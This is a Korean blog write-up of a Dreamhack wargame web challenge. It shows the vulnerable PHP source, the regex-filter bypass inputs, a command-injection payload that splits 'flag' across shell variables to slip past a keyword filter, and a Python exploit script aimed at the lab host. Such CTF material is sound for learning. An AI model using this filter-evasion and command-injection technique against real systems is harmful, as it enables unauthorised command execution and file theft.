https://dreamhack.io/wargame/challenges/873
난이도: Level 1
index.php
<div class="container">
<div class="box">
<h4>Step 1 : Open the door & Go to Step 2 !!</h4>
<div class="door"><div class="door_cir"></div></div>
<p>
<form method="post" action="/step2.php">
<input type="text" placeholder="Nickname" name="input1">
<input type="text" placeholder="Password" name="input2">
<input type="submit" value="제출">
</form>
</p>
</div>
</div>
index.php를 보면, 아이디와 패스워드를 입력받아 step2.php로 넘기는 것을 확인할 수 있습니다.
step2.php
<!-- PHP code -->
<?php
// POST request
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$input_name = $_POST["input1"] ? $_POST["input1"] : "";
$input_pw = $_POST["input2"] ? $_POST["input2"] : "";
// pw filtering
if (preg_match("/[a-zA-Z]/", $input_pw)) {
echo "alphabet in the pw :(";
}
else{
$name = preg_replace("/nyang/i", "", $input_name);
$pw = preg_replace("/\d*\@\d{2,3}(31)+[^0-8]\!/", "d4y0r50ng", $input_pw);
if ($name === "dnyang0310" && $pw === "d4y0r50ng+1+13") {
echo '<h4>Step 2 : Almost done...</h4><div class="door_box"><div class="door_black"></div><div class="door"><div class="door_cir"></div></div></div>';
...
else{
echo "Wrong nickname or pw";
}
}
}
// GET request
else{
echo "Not GET request";
}
?>
step2.php 에서는 Regular Expression을 통해 필터링을 하고 있고, 이후 name, pw 값을 확인하고 있습니다.
name의 경우, nyang 문자열을 공백으로 변환시키기 때문에 dnynyangang0310을 입력해주면 필터링을 우회할 수 있습니다.
pw의 경우, \d*\@\d{2,3}(31)+[^0-8]\! 패턴과 일치하면 d4y0r50ng 문자열로 변환시킵니다. \d는 숫자, * 모든 문자열, \@는 @, \d{2,3}는 숫자 2~3자리, (31)+는 31이 1개 이상, [^0-8]은 0~8이 아닌 숫자, \!는 !로 이에 맞게 pw를 입력해 줍니다.
입력 값이 Regular Expression과 일치 여부 확인 => https://regexr.com/
결론적으로, name은 dnynyangang0310을 입력하고 pw는 3@12319!+1+13를 입력해줍니다.
입력을 마치면, 다음 화면으로 넘어가게 됩니다.
위 화면은, 명령어를 입력할 수 있는 입력창이 존재합니다.
<!-- PHP code -->
<?php
// POST request
if ($_SERVER["REQUEST_METHOD"] == "POST") {
...
$cmd = $_POST["cmd"] ? $_POST["cmd"] : "";
if ($cmd === "") {
echo '
<p><form method="post" action="/step2.php">
<input type="hidden" name="input1" value="'.$input_name.'">
<input type="hidden" name="input2" value="'.$input_pw.'">
<input type="text" placeholder="Command" name="cmd">
<input type="submit" value="제출"><br/><br/>
</form></p>
';
}
// cmd filtering
else if (preg_match("/flag/i", $cmd)) {
echo "<pre>Error!</pre>";
}
else{
echo "<pre>--Output--\n";
system($cmd);
echo "</pre>";
}
}
...
}
// GET request
else{
echo "Not GET request";
}
?>
어떤 명령도 입력하지 않을 경우, 로그인 페이지로 돌아가게 되며, flag 문자열을 포함할 경우엔 error를 발생시킵니다.
이를 우회하기 위해서는 concatenation 방식을 사용하면 됩니다. 두 개의 변수에 "fl", "ag" 각각 문자열을 넣고, 이를 합치게 되면 flag라는 문자열을 완성할 수 있게 됩니다.
var="fl";var2="ag"; cat "../dream/$var$var2.txt"
위 명령을 수행하게 되면, 아래와 같이 FLAG가 획득된 것을 확인할 수 있습니다.
Exploit Code
import requests
# dnynyangang0310
# 3@12319!+1+13
# var="fl";var2="ag"; cat "../dream/$var$var2.txt"
url = "http://host3.dreamhack.games:15568/step2.php"
data = {"input1":"dnynyangang0310",
"input2":"3@12319!+1+13",
"cmd": 'var="fl";var2="ag"; cat "../dream/$var$var2.txt"'}
res = requests.post(url, data=data)
print("FLAG:", res.text)
'DreamHack' 카테고리의 다른 글
[DreamHack] ex-reg-ex (0) | 2023.08.08 |
---|---|
[DreamHack] Flying Chars (0) | 2023.08.08 |
[DreamHack] cg-simple_sqli (0) | 2023.08.08 |
[DreamHack] amocafe (3) | 2023.08.08 |
[DreamHack] development-env (0) | 2023.08.07 |